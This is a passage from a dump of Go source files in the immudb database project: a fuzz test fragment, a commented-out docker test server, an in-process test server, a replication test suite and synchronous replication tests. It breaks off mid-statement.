[]byte(\"key\"),\n\t\t\t},\n\t\t},\n\t}}})\n\n\taddCorpus(f, requestExecAll, &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\t\tKey:           []byte(\"ref\"),\n\t\t\t\t\t\tReferencedKey: []byte(\"key\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustExist([]byte(\"key1\")),\n\t\t},\n\t})\n\n\taddCorpus(f, requestSet, &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{{\n\t\t\tKey:   []byte(\"key\"),\n\t\t\tValue: []byte(\"value\"),\n\t\t}},\n\t})\n\n\taddCorpus(f, requestSet, &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{{\n\t\t\tKey:   []byte(\"key\"),\n\t\t\tValue: []byte(\"value\"),\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustNotExist([]byte(\"key-does-not-exist\")),\n\t\t},\n\t})\n\n\tf.Fuzz(func(t *testing.T, data []byte) {\n\t\tif len(data) < 1 {\n\t\t\tt.Skip()\n\t\t}\n\n\t\tswitch data[0] {\n\t\tcase requestExecAll:\n\n\t\t\treq := &schema.ExecAllRequest{}\n\t\t\terr := proto.Unmarshal(data[1:], req)\n\t\t\tif err != nil {\n\t\t\t\tt.Skip()\n\t\t\t}\n\n\t\t\tclient.ExecAll(context.Background(), req)\n\n\t\tcase requestSet:\n\n\t\t\treq := &schema.SetRequest{}\n\t\t\terr := proto.Unmarshal(data[1:], req)\n\t\t\tif err != nil {\n\t\t\t\tt.Skip()\n\t\t\t}\n\n\t\t\tclient.SetAll(context.Background(), req)\n\n\t\tdefault:\n\t\t\tt.Skip()\n\t\t}\n\n\t})\n\n}\n"
  },
  {
    "path": "pkg/integration/replication/docker.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage replication\n\n// import (\n// \"fmt\"\n// \"math/rand\"\n// \"net\"\n// \"os\"\n// \"strconv\"\n// \"testing\"\n// \"time\"\n\n// \"github.com/ory/dockertest/v3\"\n// \"github.com/ory/dockertest/v3/docker\"\n// \"github.com/rs/xid\"\n// \"github.com/stretchr/testify/require\"\n// )\n\n// func init() {\n// \trand.Seed(time.Now().UnixNano())\n// }\n\n// // dockerTestServerProvider creates docker test servers\n// type dockerTestServerProvider struct {\n// }\n\n// func (p *dockerTestServerProvider) AddServer(t *testing.T) TestServer {\n// \tpool, err := dockertest.NewPool(\"\")\n// \trequire.NoError(t, err)\n\n// \tret := &dockerTestServer{\n// \t\tpool: pool,\n// \t\tdir:  t.TempDir(),\n// \t}\n\n// \tret.Start(t)\n// \treturn ret\n// }\n\n// // dockerTestServer represents an immudb docker test server\n// type dockerTestServer struct {\n// \tpool *dockertest.Pool\n// \tsrv  *dockertest.Resource\n// \tport int\n// \tdir  string\n// }\n\n// func (s *dockerTestServer) Address(t *testing.T) (string, int) {\n// \treturn getLocalIP(), s.port\n// }\n\n// func (s *dockerTestServer) UUID(t *testing.T) xid.ID {\n// \tpanic(\"UUID unsupported in dockerTestServer\")\n// }\n\n// func (s *dockerTestServer) Shutdown(t *testing.T) {\n// \trequire.NotNil(t, s.srv)\n// \trequire.NoError(t, s.pool.Purge(s.srv))\n\n// \t// Wait for docker container to shutdown\n// \ttime.Sleep(2 * time.Second)\n// \ts.srv = nil\n// }\n\n// // startContainer will run a container with the given options.\n// func (s *dockerTestServer) startContainer(t *testing.T, runOptions *dockertest.RunOptions) *dockertest.Resource {\n// \t// Make sure that there are no containers running from previous execution first\n// \t// This is to ensure there is no conflict in the container name.\n// \t// FIX: containers fail to purge successfully when created without a name\n// \trequire.NoError(t, s.pool.RemoveContainerByName(runOptions.Name))\n\n// \timage := fmt.Sprintf(\"%s:%s\", runOptions.Repository, runOptions.Tag)\n\n// \tif runOptions.Tag == \"latest\" {\n// \t\t_, err := s.pool.Client.InspectImage(image)\n// \t\trequire.NoError(t, err, \"Could not find %s\", image)\n// \t}\n\n// \tresource, err := s.pool.RunWithOptions(runOptions, func(config *docker.HostConfig) {\n// \t\tconfig.Mounts = []docker.HostMount{\n// \t\t\t{\n// \t\t\t\tSource: \"/tmp\",\n// \t\t\t\tTarget: os.Getenv(\"TMPDIR\"),\n// \t\t\t\tType:   \"bind\",\n// \t\t\t},\n// \t\t}\n// \t})\n// \trequire.NoError(t, err)\n// \treturn resource\n// }\n\n// func (s *dockerTestServer) Start(t *testing.T) {\n// \trequire.Nil(t, s.srv)\n\n// \tvar (\n// \t\tname     = fmt.Sprintf(\"immudb-%d\", rand.Intn(50))\n// \t\trepo     = \"immudb/e2e\"\n// \t\ttag      = \"latest\"\n// \t\tdirFlag  = fmt.Sprintf(\"--dir=%s\", s.dir)\n// \t\thostPort = \"\"\n// \t)\n\n// \tif s.port > 0 {\n// \t\thostPort = strconv.Itoa(s.port)\n// \t}\n\n// \tcontainer := s.startContainer(t, &dockertest.RunOptions{\n// \t\tName:       name,\n// \t\tRepository: repo,\n// \t\tTag:        tag,\n// \t\tCmd: []string{\n// \t\t\tdirFlag,\n// \t\t\t\"--pgsql-server=false\",\n// \t\t\t\"--metrics-server=false\",\n// \t\t},\n// \t\tExposedPorts: []string{\"3322\"},\n// \t\tPortBindings: map[docker.Port][]docker.PortBinding{\"3322/tcp\": {{HostPort: hostPort}}},\n// \t})\n\n// \tport, err := strconv.Atoi(container.GetPort(\"3322/tcp\"))\n// \trequire.NoError(t, err)\n\n// \ts.srv = container\n// \ts.port = port\n\n// \t// Wait for the server to initialize\n// \t// TODO: Active notification that the server has started\n// \ttime.Sleep(5 * time.Second)\n\n// }\n\n// // getLocalIP returns the non loopback local IP of the host\n// func getLocalIP() string {\n// \taddrs, err := net.InterfaceAddrs()\n// \tif err != nil {\n// \t\treturn \"\"\n// \t}\n// \tfor _, address := range addrs {\n// \t\t// check the address type and if it is not a loopback the display it\n// \t\tif ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {\n// \t\t\tif ipnet.IP.To4() != nil {\n// \t\t\t\treturn ipnet.IP.String()\n// \t\t\t}\n// \t\t}\n// \t}\n// \treturn \"\"\n// }\n"
  },
  {
    "path": "pkg/integration/replication/docker_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage replication\n\n// var pool *dockertest.Pool\n\n// func TestMain(m *testing.M) {\n// \tvar err error\n// \tpool, err = dockertest.NewPool(\"\")\n// \tif err != nil {\n// \t\tlog.Fatalf(\"Could not connect to docker: %s\", err)\n// \t}\n// \tos.Exit(m.Run())\n// }\n\n// func TestImmudb(t *testing.T) {\n// \tresource, err := pool.Run(\"codenotary/immudb\", \"latest\", []string{})\n// \trequire.NoError(t, err)\n\n// \tassert.NotEmpty(t, resource.GetPort(\"3322/tcp\"))\n// \tassert.NotEmpty(t, resource.GetBoundIP(\"3322/tcp\"))\n\n// \trequire.Nil(t, pool.Purge(resource))\n// }\n\n// func TestDockerTestServer(t *testing.T) {\n// \td := &dockerTestServer{\n// \t\tpool: pool,\n// \t}\n// \td.Start(t)\n\n// \taddr, port := d.Address(t)\n// \tassert.NotEmpty(t, addr)\n// \tassert.NotEmpty(t, port)\n\n// \td.Shutdown(t)\n// }\n"
  },
  {
    "path": "pkg/integration/replication/server.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage replication\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/rs/xid\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// inProcessTestServerProvider creates in-memory test servers\n// those servers are using a temporary directory that's cleaned up after the test is finished\ntype inProcessTestServerProvider struct {\n}\n\nfunc (p *inProcessTestServerProvider) AddServer(t *testing.T) TestServer {\n\tret := &inProcessTestServer{\n\t\tdir: t.TempDir(), // go test will clean this up\n\t}\n\n\tret.Start(t)\n\treturn ret\n}\n\n// inProcessTestServer represents an in-process test server\ntype inProcessTestServer struct {\n\tsrv  *server.ImmuServer\n\tdir  string\n\tport int\n}\n\nfunc (s *inProcessTestServer) Address(t *testing.T) (string, int) {\n\treturn \"localhost\", s.port\n}\n\nfunc (s *inProcessTestServer) Shutdown(t *testing.T) {\n\trequire.NotNil(t, s.srv)\n\ts.srv.Stop()\n\ts.srv = nil\n}\n\nfunc (s *inProcessTestServer) UUID(t *testing.T) xid.ID {\n\treturn s.srv.UUID\n}\n\nfunc (s *inProcessTestServer) Start(t *testing.T) {\n\trequire.Nil(t, s.srv)\n\n\topts := server.DefaultOptions().\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false).\n\t\tWithPgsqlServer(false).\n\t\tWithPort(s.port).\n\t\tWithDir(s.dir)\n\n\tsrv := server.DefaultServer().WithOptions(opts).(*server.ImmuServer)\n\terr := srv.Initialize()\n\trequire.NoError(t, err)\n\n\tif s.port == 0 {\n\t\t// Save the port for reopening with the same value\n\t\ts.port = srv.Listener.Addr().(*net.TCPAddr).Port\n\t}\n\n\tgo func() {\n\t\terr := srv.Start()\n\t\trequire.NoError(t, err)\n\t}()\n\n\trequire.Eventually(t, func() bool {\n\t\t// Check if we can talk to GRPC server (checking if we can only connect alone is not enough)\n\t\tconn, err := net.DialTimeout(\"tcp\", fmt.Sprintf(\"localhost:%d\", s.port), 5*time.Millisecond)\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\t\tdefer conn.Close()\n\n\t\terr = conn.SetReadDeadline(time.Now().Add(5 * time.Millisecond))\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\n\t\t_, err = conn.Read([]byte{0})\n\t\treturn err == nil\n\t}, time.Second, 10*time.Millisecond)\n\n\ts.srv = srv\n}\n"
  },
  {
    "path": "pkg/integration/replication/suite.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage replication\n\nimport (\n\t\"context\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/rs/xid\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/stretchr/testify/suite\"\n)\n\nconst (\n\tprimaryDBName   = \"primarydb\"\n\treplicaDBName   = \"replicadb\"\n\tprimaryUsername = \"replicator\"\n\tprimaryPassword = \"replicator1Pwd!\"\n)\n\n// TestServer is an abstract representation of a TestServer\ntype TestServer interface {\n\t// Get the host and port under which the server can be accessed\n\tAddress(t *testing.T) (host string, port int)\n\n\tUUID(t *testing.T) xid.ID\n\n\t// shutdown the server\n\tShutdown(t *testing.T)\n\n\t// start previously shut down server\n\tStart(t *testing.T)\n}\n\n// TestServerProvider is a provider of server instances\ntype TestServerProvider interface {\n\tAddServer(t *testing.T) TestServer\n}\n\ntype baseReplicationTestSuite struct {\n\tsrvProvider TestServerProvider\n\n\tsuite.Suite\n\tmu sync.Mutex\n\n\t// server settings\n\tprimary        TestServer\n\tprimaryDBName  string\n\tprimaryRunning bool\n\n\treplicas        []TestServer\n\treplicasDBName  []string\n\treplicasRunning []bool\n\n\tclientStateDir string\n}\n\nfunc (suite *baseReplicationTestSuite) GetReplicasCount() int {\n\tsuite.mu.Lock()\n\tdefer suite.mu.Unlock()\n\n\treturn len(suite.replicas)\n}\n\nfunc (suite *baseReplicationTestSuite) AddReplica(sync bool) int {\n\tsuite.mu.Lock()\n\tdefer suite.mu.Unlock()\n\n\treplica := suite.srvProvider.AddServer(suite.T())\n\n\treplicaNum := len(suite.replicas)\n\tsuite.replicas = append(suite.replicas, replica)\n\tsuite.replicasDBName = append(suite.replicasDBName, replicaDBName)\n\tsuite.replicasRunning = append(suite.replicasRunning, true)\n\n\trctx, replicaClient, cleanup := suite.internalClientFor(replica, client.DefaultDB)\n\tdefer cleanup()\n\n\tprimaryHost, primaryPort := suite.primary.Address(suite.T())\n\n\tsettings := &schema.DatabaseNullableSettings{\n\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\tReplica:         &schema.NullableBool{Value: true},\n\t\t\tSyncReplication: &schema.NullableBool{Value: sync},\n\t\t\tPrimaryDatabase: &schema.NullableString{Value: suite.primaryDBName},\n\t\t\tPrimaryHost:     &schema.NullableString{Value: primaryHost},\n\t\t\tPrimaryPort:     &schema.NullableUint32{Value: uint32(primaryPort)},\n\t\t\tPrimaryUsername: &schema.NullableString{Value: primaryUsername},\n\t\t\tPrimaryPassword: &schema.NullableString{Value: primaryPassword},\n\t\t},\n\t}\n\n\t// init database on the replica to replicate\n\t_, err := replicaClient.CreateDatabaseV2(rctx, replicaDBName, settings)\n\trequire.NoError(suite.T(), err)\n\n\treturn replicaNum\n}\n\nfunc (suite *baseReplicationTestSuite) StopReplica(replicaNum int) {\n\tsuite.mu.Lock()\n\tdefer suite.mu.Unlock()\n\n\tf := suite.replicas[replicaNum]\n\tf.Shutdown(suite.T())\n\tsuite.replicasRunning[replicaNum] = false\n}\n\nfunc (suite *baseReplicationTestSuite) StartReplica(replicaNum int) {\n\tsuite.mu.Lock()\n\tdefer suite.mu.Unlock()\n\n\tf := suite.replicas[replicaNum]\n\tf.Start(suite.T())\n\tsuite.replicasRunning[replicaNum] = true\n}\n\nfunc (suite *baseReplicationTestSuite) PromoteReplica(replicaNum, syncAcks int) {\n\tsuite.mu.Lock()\n\tdefer suite.mu.Unlock()\n\n\t// set replica as new primary and current primary as replica\n\tsuite.primary, suite.replicas[replicaNum] = suite.replicas[replicaNum], suite.primary\n\tsuite.primaryDBName, suite.replicasDBName[replicaNum] = suite.replicasDBName[replicaNum], suite.primaryDBName\n\n\tmctx, mClient, cleanup := suite.internalClientFor(suite.primary, suite.primaryDBName)\n\tdefer cleanup()\n\n\t_, err := mClient.UpdateDatabaseV2(mctx, suite.primaryDBName, &schema.DatabaseNullableSettings{\n\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\tReplica:         &schema.NullableBool{Value: false},\n\t\t\tSyncReplication: &schema.NullableBool{Value: syncAcks > 0},\n\t\t\tSyncAcks:        &schema.NullableUint32{Value: uint32(syncAcks)},\n\t\t},\n\t})\n\trequire.NoError(suite.T(), err)\n\n\tmdb, err := mClient.UseDatabase(mctx, &schema.Database{DatabaseName: suite.primaryDBName})\n\trequire.NoError(suite.T(), err)\n\trequire.NotNil(suite.T(), mdb)\n\n\terr = mClient.CreateUser(mctx, []byte(primaryUsername), []byte(primaryPassword), auth.PermissionAdmin, suite.primaryDBName)\n\trequire.NoError(suite.T(), err)\n\n\terr = mClient.SetActiveUser(mctx, &schema.SetActiveUserRequest{Active: true, Username: primaryUsername})\n\trequire.NoError(suite.T(), err)\n\n\thost, port := suite.primary.Address(suite.T())\n\n\tfor i, _ := range suite.replicas {\n\t\tctx, client, cleanup := suite.internalClientFor(suite.replicas[i], suite.replicasDBName[i])\n\t\tdefer cleanup()\n\n\t\t_, err = client.UpdateDatabaseV2(ctx, suite.replicasDBName[i], &schema.DatabaseNullableSettings{\n\t\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\t\tReplica:         &schema.NullableBool{Value: true},\n\t\t\t\tPrimaryHost:     &schema.NullableString{Value: host},\n\t\t\t\tPrimaryPort:     &schema.NullableUint32{Value: uint32(port)},\n\t\t\t\tPrimaryDatabase: &schema.NullableString{Value: suite.primaryDBName},\n\t\t\t\tPrimaryUsername: &schema.NullableString{Value: primaryUsername},\n\t\t\t\tPrimaryPassword: &schema.NullableString{Value: primaryPassword},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(suite.T(), err)\n\t}\n}\n\nfunc (suite *baseReplicationTestSuite) StartPrimary(syncAcks int) {\n\tsuite.mu.Lock()\n\tdefer suite.mu.Unlock()\n\n\trequire.Nil(suite.T(), suite.primary)\n\n\tsrv := suite.srvProvider.AddServer(suite.T())\n\n\tsuite.primary = srv\n\n\tmctx, client, cleanup := suite.internalClientFor(srv, client.DefaultDB)\n\tdefer cleanup()\n\n\tsettings := &schema.DatabaseNullableSettings{}\n\n\tif syncAcks > 0 {\n\t\tsettings.ReplicationSettings = &schema.ReplicationNullableSettings{\n\t\t\tSyncReplication: &schema.NullableBool{Value: true},\n\t\t\tSyncAcks:        &schema.NullableUint32{Value: uint32(syncAcks)},\n\t\t}\n\t}\n\n\t_, err := client.CreateDatabaseV2(mctx, suite.primaryDBName, settings)\n\trequire.NoError(suite.T(), err)\n\n\tmdb, err := client.UseDatabase(mctx, &schema.Database{DatabaseName: suite.primaryDBName})\n\trequire.NoError(suite.T(), err)\n\trequire.NotNil(suite.T(), mdb)\n\n\terr = client.CreateUser(mctx, []byte(primaryUsername), []byte(primaryPassword), auth.PermissionAdmin, suite.primaryDBName)\n\trequire.NoError(suite.T(), err)\n\n\terr = client.SetActiveUser(mctx, &schema.SetActiveUserRequest{Active: true, Username: primaryUsername})\n\trequire.NoError(suite.T(), err)\n\n\tsuite.primaryRunning = true\n}\n\nfunc (suite *baseReplicationTestSuite) StopPrimary() {\n\tsuite.mu.Lock()\n\tdefer suite.mu.Unlock()\n\n\trequire.NotNil(suite.T(), suite.primary)\n\n\tsuite.primary.Shutdown(suite.T())\n\tsuite.primaryRunning = false\n}\n\nfunc (suite *baseReplicationTestSuite) RestartPrimary() {\n\tsuite.StopPrimary()\n\n\tsuite.mu.Lock()\n\tdefer suite.mu.Unlock()\n\n\tsuite.primary.Start(suite.T())\n\tsuite.primaryRunning = true\n}\n\nfunc (suite *baseReplicationTestSuite) internalClientFor(srv TestServer, dbName string) (context.Context, client.ImmuClient, func()) {\n\thost, port := srv.Address(suite.T())\n\n\topts := client.\n\t\tDefaultOptions().\n\t\tWithDir(suite.clientStateDir).\n\t\tWithAddress(host).\n\t\tWithPort(port)\n\n\tc := client.NewClient().WithOptions(opts)\n\n\terr := c.OpenSession(\n\t\tcontext.Background(),\n\t\t[]byte(`immudb`),\n\t\t[]byte(`immudb`),\n\t\tdbName,\n\t)\n\trequire.NoError(suite.T(), err)\n\n\treturn context.Background(), c, func() { c.CloseSession(context.Background()) }\n}\n\nfunc (suite *baseReplicationTestSuite) ClientForPrimary() (mctx context.Context, client client.ImmuClient, cleanup func()) {\n\tsuite.mu.Lock()\n\tdefer suite.mu.Unlock()\n\n\treturn suite.internalClientFor(suite.primary, suite.primaryDBName)\n}\n\nfunc (suite *baseReplicationTestSuite) ClientForReplica(replicaNum int) (rctx context.Context, client client.ImmuClient, cleanup func()) {\n\tsuite.mu.Lock()\n\tdefer suite.mu.Unlock()\n\n\treturn suite.internalClientFor(suite.replicas[replicaNum], suite.replicasDBName[replicaNum])\n}\n\nfunc (suite *baseReplicationTestSuite) WaitForCommittedTx(\n\tctx context.Context,\n\tclient client.ImmuClient,\n\ttxID uint64,\n\ttimeout time.Duration,\n) {\n\tvar state *schema.ImmutableState\n\tvar err error\n\tif !assert.Eventually(suite.T(), func() bool {\n\t\tstate, err = client.CurrentState(ctx)\n\t\trequire.NoError(suite.T(), err)\n\n\t\treturn state.TxId >= txID\n\n\t}, timeout, time.Millisecond*10) {\n\n\t\trequire.FailNowf(suite.T(),\n\t\t\t\"Failed to get up to transaction\",\n\t\t\t\"Failed to get up to transaction %d, precommitted tx: %d, committed tx: %d\",\n\t\t\ttxID, state.PrecommittedTxId, state.TxId,\n\t\t)\n\t}\n}\n\nfunc (suite *baseReplicationTestSuite) SetupCluster(syncReplicas, syncAcks, asyncReplicas int) {\n\tsuite.primaryDBName = primaryDBName\n\n\tsuite.StartPrimary(syncAcks)\n\n\twg := sync.WaitGroup{}\n\n\tfor i := 0; i < syncReplicas; i++ {\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\tsuite.AddReplica(true)\n\t\t}()\n\t}\n\n\tfor i := 0; i < asyncReplicas; i++ {\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\tsuite.AddReplica(false)\n\t\t}()\n\t}\n\n\twg.Wait()\n}\n\nfunc (suite *baseReplicationTestSuite) ValidateClusterSetup() {\n\tuuids := make(map[string]struct{}, 1+suite.GetReplicasCount())\n\n\tuuids[suite.primary.UUID(suite.T()).String()] = struct{}{}\n\n\tfor _, f := range suite.replicas {\n\t\tuuid := f.UUID(suite.T()).String()\n\n\t\tif _, ok := uuids[uuid]; ok {\n\t\t\trequire.FailNowf(suite.T(), \"duplicated uuid\", \"duplicated uuid '%s'\", uuid)\n\t\t}\n\n\t\tuuids[uuid] = struct{}{}\n\t}\n}\n\n// SetupTest initializes the suite\nfunc (suite *baseReplicationTestSuite) SetupTest() {\n\tsuite.mu.Lock()\n\tdefer suite.mu.Unlock()\n\n\tsuite.clientStateDir = suite.T().TempDir()\n\n\tif suite.srvProvider == nil {\n\t\tsuite.srvProvider = &inProcessTestServerProvider{}\n\t}\n}\n\n// this function executes after all tests executed\nfunc (suite *baseReplicationTestSuite) TearDownTest() {\n\tsuite.mu.Lock()\n\tdefer suite.mu.Unlock()\n\n\t// stop replicas\n\tfor i, srv := range suite.replicas {\n\t\tif suite.replicasRunning[i] {\n\t\t\tsrv.Shutdown(suite.T())\n\t\t}\n\t}\n\tsuite.replicas = []TestServer{}\n\n\t// stop primary\n\tif suite.primary != nil {\n\t\tsuite.primary.Shutdown(suite.T())\n\t\tsuite.primary = nil\n\t}\n\tsuite.primary = nil\n}\n"
  },
  {
    "path": "pkg/integration/replication/synchronous_replication_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage replication\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/stretchr/testify/suite\"\n)\n\ntype SyncTestSuitePrimaryToAllReplicas struct {\n\tbaseReplicationTestSuite\n}\n\nfunc TestSyncTestSuitePrimaryToAllReplicas(t *testing.T) {\n\tsuite.Run(t, &SyncTestSuitePrimaryToAllReplicas{})\n}\n\n// this function executes before the test suite begins execution\nfunc (suite *SyncTestSuitePrimaryToAllReplicas) SetupTest() {\n\tsuite.baseReplicationTestSuite.SetupTest()\n\tsuite.SetupCluster(2, 2, 0)\n\tsuite.ValidateClusterSetup()\n}\n\nfunc (suite *SyncTestSuitePrimaryToAllReplicas) TestSyncFromPrimaryToAllReplicas() {\n\tctx, client, cleanup := suite.ClientForPrimary()\n\tdefer cleanup()\n\n\ttx1, err := client.Set(ctx, []byte(\"key1\"), []byte(\"value1\"))\n\trequire.NoError(suite.T(), err)\n\n\ttx2, err := client.Set(ctx, []byte(\"key2\"), []byte(\"value2\"))\n\trequire.NoError(suite.T(), err)\n\n\tfor i := 0; i < suite.GetReplicasCount(); i++ {\n\t\tsuite.Run(fmt.Sprintf(\"test replica %d\", i), func() {\n\t\t\tctx, client, cleanup := suite.ClientForReplica(i)\n\t\t\tdefer cleanup()\n\n\t\t\t// Tests are flaky because it takes time to commit the\n\t\t\t// precommitted TX, so this function just ensures the state\n\t\t\t// is in sync between primary and replica\n\t\t\tsuite.WaitForCommittedTx(ctx, client, tx2.Id, time.Duration(3)*time.Second)\n\n\t\t\tval, err := client.GetAt(ctx, []byte(\"key1\"), tx1.Id)\n\t\t\trequire.NoError(suite.T(), err)\n\t\t\tsuite.Require().Equal([]byte(\"value1\"), val.Value)\n\n\t\t\tval, err = client.GetAt(ctx, []byte(\"key2\"), tx2.Id)\n\t\t\trequire.NoError(suite.T(), err)\n\t\t\tsuite.Require().Equal([]byte(\"value2\"), val.Value)\n\t\t})\n\t}\n}\n\ntype SyncTestSuitePrimaryRestart struct {\n\tbaseReplicationTestSuite\n}\n\nfunc TestSyncTestSuitePrimaryRestart(t *testing.T) {\n\tsuite.Run(t, &SyncTestSuitePrimaryRestart{})\n}\n\n// this function executes before the test suite begins execution\nfunc (suite *SyncTestSuitePrimaryRestart) SetupTest() {\n\tsuite.baseReplicationTestSuite.SetupTest()\n\tsuite.SetupCluster(2, 2, 0)\n\tsuite.ValidateClusterSetup()\n}\n\nfunc (suite *SyncTestSuitePrimaryRestart) TestPrimaryRestart() {\n\tvar txBeforeRestart *schema.TxHeader\n\tsuite.Run(\"commit before restarting primary\", func() {\n\n\t\tctx, client, cleanup := suite.ClientForPrimary()\n\t\tdefer cleanup()\n\n\t\ttx, err := client.Set(ctx, []byte(\"key-before-restart\"), []byte(\"value-before-restart\"))\n\t\trequire.NoError(suite.T(), err)\n\n\t\ttxBeforeRestart = tx\n\t})\n\n\tsuite.RestartPrimary()\n\n\tsuite.Run(\"commit after restarting primary\", func() {\n\t\tctx, client, cleanup := suite.ClientForPrimary()\n\t\tdefer cleanup()\n\n\t\ttx, err := client.Set(ctx, []byte(\"key3\"), []byte(\"value3\"))\n\t\trequire.NoError(suite.T(), err)\n\n\t\tfor i := 0; i < suite.GetReplicasCount(); i++ {\n\t\t\tsuite.Run(fmt.Sprintf(\"check replica %d\", i), func() {\n\t\t\t\tctx, client, cleanup := suite.ClientForReplica(i)\n\t\t\t\tdefer cleanup()\n\n\t\t\t\t// Tests are flaky because it takes time to commit the\n\t\t\t\t// precommitted TX, so this function just ensures the state\n\t\t\t\t// is in sync between primary and replica\n\t\t\t\tsuite.WaitForCommittedTx(ctx, client, tx.Id, 30*time.Second) // Longer time since replica must reestablish connection to the primary\n\n\t\t\t\tval, err := client.GetAt(ctx, []byte(\"key3\"), tx.Id)\n\t\t\t\trequire.NoError(suite.T(), err)\n\t\t\t\trequire.Equal(suite.T(), []byte(\"value3\"), val.Value)\n\n\t\t\t\tval, err = client.GetAt(ctx, []byte(\"key-before-restart\"), txBeforeRestart.Id)\n\t\t\t\trequire.NoError(suite.T(), err)\n\t\t\t\trequire.Equal(suite.T(), []byte(\"value-before-restart\"), val.Value)\n\t\t\t})\n\t\t}\n\t})\n}\n\ntype SyncTestSuitePrecommitStateSync struct {\n\tbaseReplicationTestSuite\n}\n\nfunc TestSyncTestSuitePrecommitStateSync(t *testing.T) {\n\tsuite.Run(t, &SyncTestSuitePrecommitStateSync{})\n}\n\n// this function executes before the test suite begins execution\nfunc (suite *SyncTestSuitePrecommitStateSync) SetupTest() {\n\tsuite.baseReplicationTestSuite.SetupTest()\n\tsuite.SetupCluster(2, 2, 0)\n\tsuite.ValidateClusterSetup()\n}\n\n// TestPrecommitStateSync checks if the precommit state at primary\n// and its replicas are in sync during synchronous replication\nfunc (suite *SyncTestSuitePrecommitStateSync) TestPrecommitStateSync() {\n\tvar (\n\t\tprimaryState *schema.ImmutableState\n\t\terr          error\n\t\tstartCh      = make(chan bool)\n\t)\n\n\tctx, client, cleanup := suite.ClientForPrimary()\n\tdefer cleanup()\n\n\t// Create goroutines for client waiting to query the state\n\t// of the replicas. This is initialized before to avoid\n\t// spending time initializing the replica client for faster\n\t// state access\n\tvar wg sync.WaitGroup\n\tfor i := 0; i < suite.GetReplicasCount(); i++ {\n\t\twg.Add(1)\n\t\tgo func(replicaID int) {\n\t\t\tdefer wg.Done()\n\t\t\tctx, client, cleanup := suite.ClientForReplica(replicaID)\n\t\t\tdefer cleanup()\n\n\t\t\t<-startCh\n\n\t\t\tsuite.Run(fmt.Sprintf(\"test replica sync state %d\", replicaID), func() {\n\t\t\t\tstate, err := client.CurrentState(ctx)\n\t\t\t\trequire.NoError(suite.T(), err)\n\t\t\t\tsuite.Require().Equal(state.PrecommittedTxId, 